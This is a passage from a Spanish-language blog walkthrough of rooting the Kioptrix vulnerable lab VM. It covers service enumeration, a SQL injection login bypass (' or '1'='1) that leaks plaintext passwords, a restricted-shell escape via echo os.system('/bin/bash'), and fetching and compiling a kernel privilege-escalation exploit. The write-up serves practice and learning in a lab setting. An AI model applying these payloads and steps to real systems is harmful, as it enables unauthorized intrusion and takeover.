información sobre los usuarios de samba, puede sernos muy útil y es mas recopilación
de información<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO9CgI_b5T-ylBvi4QWnLLZQX2HYp5CLrVh1P1Gu6GksxZ83bUfgjV-1ZB0w7DEEXwUT7OLajuq9lLWf_Rqjb3UiGMmz2gNDO0eVdTAQsbqY4FTTBx7FD7cKtudYCQQTHw3ltGx_InKbg/s1600/25-05-2017+14-47-25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="279" data-original-width="450" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO9CgI_b5T-ylBvi4QWnLLZQX2HYp5CLrVh1P1Gu6GksxZ83bUfgjV-1ZB0w7DEEXwUT7OLajuq9lLWf_Rqjb3UiGMmz2gNDO0eVdTAQsbqY4FTTBx7FD7cKtudYCQQTHw3ltGx_InKbg/s1600/25-05-2017+14-47-25.png" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<o:p><br /></o:p></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Podemos observar que, además de tratarse de un Linux 2.6, tiene un
servidor web Apache corriendo (http en el puerto 80) y decidimos acceder desde el
navegador a la dirección IP de la máquina; parece una ventana de LOGIN para
miembros ofrecido por "algo" llamado “<i>LigGoat secure Login</i>”<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEIsODWsu4lDBJ4XFCyxh1BFPyaZ1pniSJFV0UR4QRJJ5bXB9_KgodQsKZgwZPOdsyoBhxp9Cd4TdIMzOJIPlFmYnELy36scMRIlo95krpxEnGOLOoEKnTcIFn_iQfmAShZhr4EN0BOUs/s1600/25-05-2017+14-47-43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="333" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEIsODWsu4lDBJ4XFCyxh1BFPyaZ1pniSJFV0UR4QRJJ5bXB9_KgodQsKZgwZPOdsyoBhxp9Cd4TdIMzOJIPlFmYnELy36scMRIlo95krpxEnGOLOoEKnTcIFn_iQfmAShZhr4EN0BOUs/s1600/25-05-2017+14-47-43.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Utilizamos <b>wfuzz </b>para tratar de sacar más directorios
accesibles del servicio web. También utilizamos <b>NIKTO </b>para detectar posibles
vulnerabilidades del servicio Apache que está ejecutándose</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAVwcC9nVQtQt83tS-K4loV66Q-2jv7z_YvMJElasxRz-pcdE43DYosOjkAv7B62Tnhw_S47wGXRZh1qs4QHRh-EOFZaXFgIOJohfLEWgTo1aEX6OepIorTbKvj2klVWRYPf181h6AYmg/s1600/25-05-2017+14-47-54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="219" data-original-width="451" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAVwcC9nVQtQt83tS-K4loV66Q-2jv7z_YvMJElasxRz-pcdE43DYosOjkAv7B62Tnhw_S47wGXRZh1qs4QHRh-EOFZaXFgIOJohfLEWgTo1aEX6OepIorTbKvj2klVWRYPf181h6AYmg/s1600/25-05-2017+14-47-54.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTQZGhVI81DpLywwqaKKhtuBm5RmgqYxM-Ue6lnNwD4rYoDlsEEERBFmZGoDUlmtSvAjeSxD0llSj6PpxuhrECL_GVKg7_lWznuRLjGTCTFLi8gOjmsokaUK5JdGHnzhIopO9mtsUT7bI/s1600/25-05-2017+14-48-07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="298" data-original-width="476" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTQZGhVI81DpLywwqaKKhtuBm5RmgqYxM-Ue6lnNwD4rYoDlsEEERBFmZGoDUlmtSvAjeSxD0llSj6PpxuhrECL_GVKg7_lWznuRLjGTCTFLi8gOjmsokaUK5JdGHnzhIopO9mtsUT7bI/s1600/25-05-2017+14-48-07.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
De vuelta al navegador tratamos de probar nuestra “sentencia
mágica” (<b>‘or ‘1’=’1</b>) para ver si el portal de login es susceptible de SQLi.
Introducimos la sentencia tanto en el usuario solamente e inmediatamente nos dice
que el usuario no es válido, probamos suerte introduciendo la sentencia en el box
de la contraseña y al menos obtenemos un comportamiento distinto…<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOX3itUjZ1ALxForY2RqWP2SkRXnbNHE_O5ziU5446GfErVwYWMq3Ruw87IcAvWOKqbqmjbpMW8ekPLv6-U2DtMpSgIe59v8vRY8NuKSSz0rsgF7JIiG_ussBwEqT4adjmGVLLvhsKejo/s1600/25-05-2017+14-48-19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="199" data-original-width="532" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOX3itUjZ1ALxForY2RqWP2SkRXnbNHE_O5ziU5446GfErVwYWMq3Ruw87IcAvWOKqbqmjbpMW8ekPLv6-U2DtMpSgIe59v8vRY8NuKSSz0rsgF7JIiG_ussBwEqT4adjmGVLLvhsKejo/s1600/25-05-2017+14-48-19.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Interpretamos que si que acepta la contraseña “mágica” pero no así el usuario, de modo que
trato de usar el usuario <i>root </i>y los usuarios del sistema que <b>nMap </b>con el script
<b>smb-enum-user</b> nos ofreció (<i>john, root, nobody, loneferret y robert</i>). Tan solo
<i>john </i>y <i>robert </i>parecen tener acceso a esta web pues son los únicos password que
no dan error, y me muestra su contraseña en texto plano<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7GvTDlfNuO7zAzakztkEdmtENQ6gfBTslp0Sbzz95ZUXJHw4HmJfCKS7TSMWaIzfAHbqREuAjZcgITMxz00aC_EfKaDuNHQbkRQeuSizRgH1VwVk0K0r55IGUhiJII2oqzpTuBz3EuQ/s1600/25-05-2017+14-48-44.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="86" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7GvTDlfNuO7zAzakztkEdmtENQ6gfBTslp0Sbzz95ZUXJHw4HmJfCKS7TSMWaIzfAHbqREuAjZcgITMxz00aC_EfKaDuNHQbkRQeuSizRgH1VwVk0K0r55IGUhiJII2oqzpTuBz3EuQ/s1600/25-05-2017+14-48-44.png" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<o:p><br /></o:p></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Teniendo
estas dos credenciales me aventuro a tratar de probar el acceso al sistema con
ellas, y funciona!!!<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwqUvF2bzRFpPx-9r4zCXjOXPXeeRZ6Oa_bZTyxo7PrwLPdJ40IzcpfX22g_Ry5npQwUtfLB2zNIcZNIAZMNTTGBcWmVL8w-IHVDpcmnUZhaJesNPjifqta1EeGnHmAeYlR9kCHdpJrOg/s1600/25-05-2017+14-49-34.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="69" data-original-width="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwqUvF2bzRFpPx-9r4zCXjOXPXeeRZ6Oa_bZTyxo7PrwLPdJ40IzcpfX22g_Ry5npQwUtfLB2zNIcZNIAZMNTTGBcWmVL8w-IHVDpcmnUZhaJesNPjifqta1EeGnHmAeYlR9kCHdpJrOg/s1600/25-05-2017+14-49-34.png" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRA1B3EHUP4VQHgEXV4VZGuiL6JZC484dQtMXKqQBag1iK5A8s0Em-3NNA2RF4Cz0dGF_gbg1YA6oWsBlLZUK5EeudpemIJg6EwPM26OieiO_nyzb_sNHH9ur1pkcGpdWfUECUoMwHGH0/s1600/25-05-2017+14-49-48.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="71" data-original-width="287" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRA1B3EHUP4VQHgEXV4VZGuiL6JZC484dQtMXKqQBag1iK5A8s0Em-3NNA2RF4Cz0dGF_gbg1YA6oWsBlLZUK5EeudpemIJg6EwPM26OieiO_nyzb_sNHH9ur1pkcGpdWfUECUoMwHGH0/s1600/25-05-2017+14-49-48.png" /></a></div>
<div>
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Pero la
alegría dura poco en casa del pobre… se ha comido el pasword y parece habernos iniciado sesión por ssh pero no nos deja hacer absolutamente nada, no funciona
pwd, ni ls, ni id, y parece muy limitado<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2RbOWdU4AAB0zcebmpMWfuWH-wou_RetY2osr3_MNmv-WrSgbPn3_2M7Qt1ngXWtXNI5NQLVfkarQ_yJUVRHabF05m_8BovVRw2jr4wRkeezsvjAnYd1aCgQNTcg0wHDmaB2iV52lTwM/s1600/25-05-2017+14-50-02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="255" data-original-width="385" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2RbOWdU4AAB0zcebmpMWfuWH-wou_RetY2osr3_MNmv-WrSgbPn3_2M7Qt1ngXWtXNI5NQLVfkarQ_yJUVRHabF05m_8BovVRw2jr4wRkeezsvjAnYd1aCgQNTcg0wHDmaB2iV52lTwM/s1600/25-05-2017+14-50-02.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Investigamos un poco por la red y San Google nos ofrece algo sobre un comando que permite abrir una sesión
Bash en una terminal, se trata de ejecutar el comando “<i><b>echo</b><b> os.system(‘/bin/bash’)</b>”</i> probamos suerte y para nuestra sorpresa funciona y tenemos una sesión mas
completa que ahora SI nos permite movernos por todos los directorios y el sistema de archivos.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR7wBCxgQQag20P5H4SrM_BZwO746Ma8Xj599WHmbinHf6a47UTzdFUxw2r1NyRym7PKPAGpTiCUcyd0V0qy_CA8rVEa6IlAneyOxP9nRZ3lc-iXHBZflP7Ru3dkVbXlsk2ERWzqWCjFs/s1600/25-05-2017+14-50-14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="244" data-original-width="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR7wBCxgQQag20P5H4SrM_BZwO746Ma8Xj599WHmbinHf6a47UTzdFUxw2r1NyRym7PKPAGpTiCUcyd0V0qy_CA8rVEa6IlAneyOxP9nRZ3lc-iXHBZflP7Ru3dkVbXlsk2ERWzqWCjFs/s1600/25-05-2017+14-50-14.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Hemos obtenido más libertad de movimiento pero los permisos
siguen siendo bastante escasos, por lo que investigo en busca de algún exploit
existente para el kernel Linux que tiene la máquina objetivo y, una vez más,
Exploit-db tiene la respuesta!<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv63VubdRt2MOI2czFnvCqsIKsTHF-LMY0v69apiW7rVL86ie8j6CPb1jQgFn0CujkA3PeuDlHpqjuMZY9Lhyphenhyphen04SOqV_SJmd4BuPuYhzw9DMaNRAcD9wt5jdPHMf_s1pxJKBc-tLN3Bbo/s1600/25-05-2017+14-50-29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="330" data-original-width="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv63VubdRt2MOI2czFnvCqsIKsTHF-LMY0v69apiW7rVL86ie8j6CPb1jQgFn0CujkA3PeuDlHpqjuMZY9Lhyphenhyphen04SOqV_SJmd4BuPuYhzw9DMaNRAcD9wt5jdPHMf_s1pxJKBc-tLN3Bbo/s1600/25-05-2017+14-50-29.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Al igual que con otra de las máquinas, el exploit debe ser
descargado desde la máquina víctima, por lo que volvemos a repetir lo que hicimos en
la Kioptrix 2 (“servir” el archivo desde mi propio KALI levantando el
servicio Apache).<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9SJFVa61SrG03u65slso7lcBj_AOuQ5mp5smuRik_kp07GP7YNpZSengpZa3g5MGwIyz8U6KOBQeiMnubXiUpRzebXz67IsgX3YKyvEXktdpe-Y3NUxR2oZ9Cf2GLl_an6XhSEaCVpts/s1600/25-05-2017+14-50-57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="353" data-original-width="485" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9SJFVa61SrG03u65slso7lcBj_AOuQ5mp5smuRik_kp07GP7YNpZSengpZa3g5MGwIyz8U6KOBQeiMnubXiUpRzebXz67IsgX3YKyvEXktdpe-Y3NUxR2oZ9Cf2GLl_an6XhSEaCVpts/s1600/25-05-2017+14-50-57.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
A pesar de descargarlo en la carpeta “tmp” done el usuario que tenemos supuestamente puede hacer cosas y tiene permisos... desafortunadamente no termina de realizarse la descarga del
archivo sin un motivo aparente, es como si las maquinas no estuvieran en la
misma red o no se vieran entre ellas<o:p></o:p></div>
<div class="MsoNormal" style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ9Beey5MFVXTVdDD5iPIXRXUtDtIP9YWeuBV0gzTO2UCGkkMmRe8reD-G8kbDey-9_MpuEHOCc75Ru6EAwD031kpKwXoMTaFtLzN9l36dBrdLjDB8vhaaqfP91RgcKBQkLb5o2Eyp6Jk/s1600/25-05-2017+14-51-14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="166" data-original-width="493" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ9Beey5MFVXTVdDD5iPIXRXUtDtIP9YWeuBV0gzTO2UCGkkMmRe8reD-G8kbDey-9_MpuEHOCc75Ru6EAwD031kpKwXoMTaFtLzN9l36dBrdLjDB8vhaaqfP91RgcKBQkLb5o2Eyp6Jk/s1600/25-05-2017+14-51-14.png" /></a></div>
<div class="MsoNormal" style="text-align: left;">
<br /></div>
<div class="MsoNormal" style="text-align: left;">
<br /></div>
<div class="MsoNormal">
Nos volvemos locos lanzando pings a la maquina objetivo desde
KALI, lanzando ping a KALI desde la maquina objetivo, comprobamos la
configuración de los adaptadores de red de las VMs pero no encontramos nada raro,
de modo que solo se nos ocurre comprobar si hay funcionando algún firewall o
algo que filtre el tráfico de red… y encuentro en la configuración de las
iptables que está bloqueando por el puerto 80.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiah1iV2A29NKYceINpxRYHP5n3FnyZqapu5GkDVOHuI_JkF9pRNyvxaEIflAGeHX3yEuqTIIVMcAmZu-TD8CSnNQTNUBEKAf0hmcZvkJS3vLxvbfwXRAlLmE87wANUNVvbKptyeXgE9Rk/s1600/25-05-2017+14-51-36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="246" data-original-width="481" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiah1iV2A29NKYceINpxRYHP5n3FnyZqapu5GkDVOHuI_JkF9pRNyvxaEIflAGeHX3yEuqTIIVMcAmZu-TD8CSnNQTNUBEKAf0hmcZvkJS3vLxvbfwXRAlLmE87wANUNVvbKptyeXgE9Rk/s1600/25-05-2017+14-51-36.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Intento modificar el archivo pero, indudablemente mis escaso
permisos no me lo permiten<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcgBHVCKuTnI5KnYkrvj6pCscKLwUnutVO3nnUNrSMOKyLLk3zQ-XPyTi6YHvy_kp47vSVQYXpz9zAhWY-9GSLrYwhJiPRUZQHo7RT69pIOlRQCabplH4Dm6-B3YK1cvGsX5yW0hyphenhyphenRU3U/s1600/25-05-2017+14-51-58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="323" data-original-width="427" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcgBHVCKuTnI5KnYkrvj6pCscKLwUnutVO3nnUNrSMOKyLLk3zQ-XPyTi6YHvy_kp47vSVQYXpz9zAhWY-9GSLrYwhJiPRUZQHo7RT69pIOlRQCabplH4Dm6-B3YK1cvGsX5yW0hyphenhyphenRU3U/s1600/25-05-2017+14-51-58.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Nos encontramos bastante estancados en este punto, solo se nos ocurre buscar alternativas para utilizar cualquier otro puerto. Se nos ocurre
editar la configuración por defecto de apache2 en su directiva Listen para que Apache escuche
en el puerto 8000 en vez de por el 80.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4DxFfxFJYVQE8SpTj6eGX0N2chgoJIor6mrweMlo7uzDyZA-1nJMRRr7gQFTmLHodTQU0Mzt_0ob22raZd7likRFd3m310Hyhxyht9Fw6Yxb409GwJuht6Z9cIXtqjyOSSwiMTuKPa8w/s1600/25-05-2017+14-52-12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="201" data-original-width="481" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4DxFfxFJYVQE8SpTj6eGX0N2chgoJIor6mrweMlo7uzDyZA-1nJMRRr7gQFTmLHodTQU0Mzt_0ob22raZd7likRFd3m310Hyhxyht9Fw6Yxb409GwJuht6Z9cIXtqjyOSSwiMTuKPa8w/s1600/25-05-2017+14-52-12.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Pruebo suerte de nuevo especificando en la sintaxis del
comando wget que la dirección debe dirigirla al puerto 8000… y funciona!!!!</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2aEHI676WZJxBckZ7j2Hfnez_fJV7ZptQ_McrL5nyGN6-eU5hE6tfiALT5lutRcMcSIpdofEX8ae5TUoULdGJS07bT93meoy8GN9-3OdUFroMuWbFAKasrfPeCfVfqru7znf43tfPPQk/s1600/25-05-2017+14-52-39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="243" data-original-width="496" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2aEHI676WZJxBckZ7j2Hfnez_fJV7ZptQ_McrL5nyGN6-eU5hE6tfiALT5lutRcMcSIpdofEX8ae5TUoULdGJS07bT93meoy8GN9-3OdUFroMuWbFAKasrfPeCfVfqru7znf43tfPPQk/s1600/25-05-2017+14-52-39.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Descomprimimos el fichero y entramos dentro del directorio
creado, allí abrimos el archivo run que según hemos podido leer por internet nos da las
instrucciones necesarias para la compilación ejecución del exploit</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ4mjymPW9DiAyl83bJr2HOyu41xT7frrwlVkxP9kIMnVI_hiXsU18Erw6FOA0-VA73ipLGS2y8NVZP1LuZ3mtA0Do8VX0aSFHkBH-0vjFVPdAi4NMgKStIctI4PZ9tObpqf4S_0QhqXQ/s1600/25-05-2017+14-52-50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="469" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ4mjymPW9DiAyl83bJr2HOyu41xT7frrwlVkxP9kIMnVI_hiXsU18Erw6FOA0-VA73ipLGS2y8NVZP1LuZ3mtA0Do8VX0aSFHkBH-0vjFVPdAi4NMgKStIctI4PZ9tObpqf4S_0QhqXQ/s1600/25-05-2017+14-52-50.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Lo compilo siguiendo las indicaciones para la arquitectura
de la máquina (i686) desde KALI (en la maquina objetivo faltan librerías) y lo
descargo la mismo directorio de trabajo tmp</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7xDT5k7qzMLvxa4sf_tFrUCo-BIH1VlXVZ2QVmxP-0pmlywrceyJ6AU0gCdCzx3DXL3ISxXJiS3MtL6Mfy6FHCoRPgW5kVOPOdJAFJSJSezMj9GRdEW8hgbKyUi6qceFK-X5Jh-vPm7I/s1600/25-05-2017+14-53-04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="46" data-original-width="475" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7xDT5k7qzMLvxa4sf_tFrUCo-BIH1VlXVZ2QVmxP-0pmlywrceyJ6AU0gCdCzx3DXL3ISxXJiS3MtL6Mfy6FHCoRPgW5kVOPOdJAFJSJSezMj9GRdEW8hgbKyUi6qceFK-X5Jh-vPm7I/s1600/25-05-2017+14-53-04.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVRQgqtkn797W92bmX9zI1v9jWH4Dr_28temxEva2axJs7Lr6GAih6PQWQAk-edRVJ4sySdlLUJpcxYqFIWDnfpmO9kLD2E77kq7Gtc61Jn4JvKoJ7GEYEwkTr26jfiw1FRo1s6H5dbzk/s1600/25-05-2017+14-53-20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="167" data-original-width="468" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVRQgqtkn797W92bmX9zI1v9jWH4Dr_28temxEva2axJs7Lr6GAih6PQWQAk-edRVJ4sySdlLUJpcxYqFIWDnfpmO9kLD2E77kq7Gtc61Jn4JvKoJ7GEYEwkTr26jfiw1FRo1s6H5dbzk/s1600/25-05-2017+14-53-20.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Lo ejecutamos y quedamos a la expectativa ante el misterioso # que
queda en la línea de comandos…</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUFO19V3vGBnES3a71NZ7UhKOy7sAnVIjGQ4-GNJSiiabeiQnzRzOlesCE3-81q1g5re9XKugPn7Xk_6qAW3bt694leIu4VdTODA1ylTValGbbn9N01O4KLMhLMMv13Dk9tRkC44zyUlE/s1600/25-05-2017+14-53-36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="81" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUFO19V3vGBnES3a71NZ7UhKOy7sAnVIjGQ4-GNJSiiabeiQnzRzOlesCE3-81q1g5re9XKugPn7Xk_6qAW3bt694leIu4VdTODA1ylTValGbbn9N01O4KLMhLMMv13Dk9tRkC44zyUlE/s1600/25-05-2017+14-53-36.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Pasados unos segundos sin que nos muestre ningún mensaje
decidimos interactuar con una mezcla de estupefacción y confusión y…</div>
<div class="MsoNormal">
<span style="text-align: center;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis14tUyxig0naCkpaAAa04sMqehTx10o73o7vQJDqecX3lQkZ0BWEIyc30gMj0Dljv16H7V3XodO3EyS_Ov8dr_248SThFdMz98S1ZeP0SZbAHYZjZZOBn_7Qo-nalNJ9C-WHCs9tVX_8/s1600/25-05-2017+14-53-49.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="83" data-original-width="499" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis14tUyxig0naCkpaAAa04sMqehTx10o73o7vQJDqecX3lQkZ0BWEIyc30gMj0Dljv16H7V3XodO3EyS_Ov8dr_248SThFdMz98S1ZeP0SZbAHYZjZZOBn_7Qo-nalNJ9C-WHCs9tVX_8/s1600/25-05-2017+14-53-49.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="MsoNormal">
<b>Ha funcionado!!! Somos
root en este mismo instante!!!!! </b>Cambiamos la password del usuario root por
la de CPHE1234 e iniciamos sesión en la máquina con esas credenciales en busca
de nuestra flag.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIUgkiOA5iN_N_xOSJLMasLui0yGT8UoZnLMct5eOjI9XAWG3TTl6MJSjeu7Bqzb7xYiRAhNhIEAqvLD7QiidUhFYY7iNYst8xdUTj5FrFwY1X9JM0eFn4dB-mQmO86-DhrMVhc-Dbrns/s1600/25-05-2017+14-54-04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="352" data-original-width="418" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIUgkiOA5iN_N_xOSJLMasLui0yGT8UoZnLMct5eOjI9XAWG3TTl6MJSjeu7Bqzb7xYiRAhNhIEAqvLD7QiidUhFYY7iNYst8xdUTj5FrFwY1X9JM0eFn4dB-mQmO86-DhrMVhc-Dbrns/s1600/25-05-2017+14-54-04.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<o:p><br /></o:p></div>
<div style="text-align: center;">
<b><span style="color: red; font-family: "calibri" , sans-serif; font-size: 28.0pt; line-height: 115%;">RETO SUPERADO!!!!!!!!!!!!!!!!!!</span></b></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-60437085319400516522017-05-25T12:23:00.000+02:002017-05-26T08:27:14.660+02:00Walkthrough - Máquina Vulnerable KIOPTRIX lvl 1.2 -<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgajLfXt5oh6xeD1b7q6DqWqlMK0vIkj9oRHGS6cz-YOM0vQZjOISAOJKHCavNAPQmrAaEFYqX-7F_tdfCG9NuKQmSCh71HvREcAJ7kLP4l561_LNNmMvo2BDV9xUIUgNXJmBUWthKF_n0/s1600/kioptrix.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="130" data-original-width="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgajLfXt5oh6xeD1b7q6DqWqlMK0vIkj9oRHGS6cz-YOM0vQZjOISAOJKHCavNAPQmrAaEFYqX-7F_tdfCG9NuKQmSCh71HvREcAJ7kLP4l561_LNNmMvo2BDV9xUIUgNXJmBUWthKF_n0/s1600/kioptrix.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
